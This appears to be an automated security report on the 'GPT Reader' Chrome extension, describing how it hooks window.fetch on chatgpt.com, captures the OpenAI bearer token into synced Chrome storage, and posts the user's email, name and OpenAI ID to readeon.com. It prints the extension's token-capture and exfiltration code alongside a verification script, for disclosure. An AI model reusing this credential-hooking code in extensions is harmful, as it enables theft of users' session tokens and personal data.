Is ChatGPT Reader/Transcriber: Free AI Text to Speech/Speech to Text (TTS/STT) safe?
GPT Reader intercepts the user's OpenAI session token on chatgpt.com and transmits account credentials to readeon.com.
The extension injects a script into chatgpt.com that hooks window.fetch and captures the OpenAI Bearer token from the /backend-api/me response. The token, along with the user's email, display name, OpenAI user ID, and profile picture URL, is stored in chrome.storage.sync (synced across all signed-in Chrome instances) and then sent to www.readeon.com for vendor authentication. Subsequent requests to readeon.com include a SHA-256 hash of the raw OpenAI access token as a header.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
OpenAI session token captured on ChatGPT, copied to synced Chrome storage
On chatgpt.com signed in, the extension hooks page network calls, reads your live OpenAI session token from the profile request, and writes it raw to chrome.storage.sync, synced to every browser on the account.
A JWT appeared after a visit.
You open chatgpt.com while signed in.
The page makes its normal request to /backend-api/me to load your profile.
The extension reads your OpenAI session token from that request and saves it into cloud-synced Chrome storage.
A wrapper around window.fetch pulls the Authorization bearer token and hands it to the extension, which writes it to chrome.storage.sync.
The fetch hook that reads the bearer token off ChatGPT's profile request
// d = AUTH_RECEIVED listener: split off the 'Bearer ' prefix, keep the raw token
d = async f => {
const { detail: { accessToken: y, userId: p, userData: g } } = f;
if (y.includes("Bearer")) { u(y.split(" ")[1], p, g); return }
u(y, p, g)
}
// u = persist to cloud-synced storage
const u = async (f, y, p) => {
const g = await kM(f); // SHA-256 of the token
chrome.storage.sync.set({
email: p.email,
name: p.name,
openaiId: p.id,
picture: p.picture,
accessToken: f, // raw OpenAI JWT
hashAccessToken: g
})
}What landed in synced storage after one ChatGPT visit: your live session token, copied by Chrome to every browser on the account.
chrome.storage.sync (cloud-synced across every browser on the same Google account){
"name": "Lenny Yeeman (test account)",
"email": "lennyyeeman@gmail.com (test account)",
"picture": "https://s.gravatar.com/avatar/...png",
"openaiId": "user-4q4dbryKyBZhex41AUB7leIp",
"accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im9wZW5haS00YjVjIn0.eyJodHRwczovL2FwaS5vcGVuYWkuY29tL2F1dGgiOnsiY2hhdGdwdF9hY2NvdW50X2lkIjoiYTNmMS4uLiIsImNoYXRncHRfYWNjb3VudF91c2VyX2lkIjoidXNlci00cTRkYnJ5S3lCWmhleDQxQVVCN2xlSXAifSwiYXVkIjpbImh0dHBzOi8vYXBpLm9wZW5haS5jb20vdjEiXSwiY2xpZW50X2lkIjoiYXBwX1g4elk2dlcycFE5dFIzZEU3bksxakw1Z0giLCJleHAiOjE3ODE2MDk5MTZ9.<signature> (illustrative shape; the captured value was a ~1,989-char OpenAI JWT)",
"hashAccessToken": "433a6cd45c8d5690b7e40c2a00f69f391b0d56992243229c6e89e0bd1ada6b09"
}Reads chrome.storage.sync and reports whether a raw OpenAI access token is present, and decodes the JWT header/payload so you can confirm it is a live OpenAI session credential.
// Paste into the extension's service-worker / a page console with chrome.storage access.
chrome.storage.sync.get(['accessToken', 'hashAccessToken', 'email', 'openaiId'], (s) => {
const t = s.accessToken;
if (!t) { console.log('No accessToken in synced storage.'); return; }
console.log('accessToken length:', t.length);
try {
const [h, p] = t.split('.');
const dec = (b) => JSON.parse(atob(b.replace(/-/g, '+').replace(/_/g, '/')));
console.log('JWT header:', dec(h));
console.log('JWT payload:', dec(p));
console.log('aud (should include api.openai.com):', dec(p).aud);
} catch (e) { console.log('Value is not a decodable JWT:', e.message); }
console.log('hashAccessToken (SHA-256 of token):', s.hashAccessToken);
});- 1Sign in to chatgpt.com; load once.
- 2Open the extension's storage context (service worker console).
- 3Paste and run this script.
- 4A printed JWT with aud including api.openai.com confirms the token is in synced storage.
ChatGPT profile data sent to vendor server readeon.com for authentication
After reading your ChatGPT profile, the extension POSTs your email, name and OpenAI ID to readeon.com for a session token; the token embeds that data.
Later calls to readeon.com carry a SHA-256 hash of your access token via Hat-Token.
You open chatgpt.com while signed in.
The extension already holds your profile fields from ChatGPT's /backend-api/me response.
The extension sends your email, name and OpenAI user ID to its vendor server readeon.com to get a sign-in token.
The POST goes to www.readeon.com/api/auth/token with an X-From-Extension: true header; the returned token is cached and reused.
| Field | Value | Why it matters | |
|---|---|---|---|
Your email address | lennyyeeman@gmail.com | The email on your OpenAI/ChatGPT account, which directly identifies you. | |
Your display name | Lenny Yeeman | The name shown on your ChatGPT account. | |
Your OpenAI user ID | user-4q4dbryKyBZhex41AUB7leIp | A stable identifier OpenAI assigns to your account, used to tie activity back to you. |
| Content-Type | application/json |
| X-From-Extension | true |
{
"email": "lennyyeeman@gmail.com",
"name": "Lenny Yeeman",
"openaiId": "user-4q4dbryKyBZhex41AUB7leIp"
}The vendor auth POST and the per-request Hat-Token hash of the OpenAI token
async function Cte() {
const { jwtToken: t, jwtTokenExpiry: e } = await chrome.storage.local.get(["jwtToken","jwtTokenExpiry"]);
const r = await new Promise((c) => chrome.storage.sync.get(["email","name","openaiId"], c));
const { email: n, name: i, openaiId: a } = r, o = Date.now();
if (t && e && o < e - l7) return t; // reuse cached vendor token
const s = await fetch(`${Us}/auth/token`, { // Us = 'https://www.readeon.com/api'
method: "POST",
headers: { "X-From-Extension": "true", "Content-Type": "application/json" },
body: JSON.stringify({ email: n, name: i, openaiId: a })
});
const { token: l } = await s.json();
await chrome.storage.local.set({ jwtToken: l, jwtTokenExpiry: o + c7 });
return l;
}async function Tu(t, e = {}) {
const i = await Cte(); // vendor bearer token
const a = await bte("hashAccessToken"); // SHA-256 of raw OpenAI access token
const o = await fetch(t, { ...e, headers: {
...e.headers,
Authorization: `Bearer ${i}`,
"Hat-Token": a,
"Content-Type": "application/json",
"X-From-Extension": "true"
}});
return o.json();
}- www.readeon.com
Vendor backend (GPT Reader/readeon). Receives email, name and OpenAI user ID at /api/auth/token, issues a session token, and gets a SHA-256 hash of your access token via Hat-Token.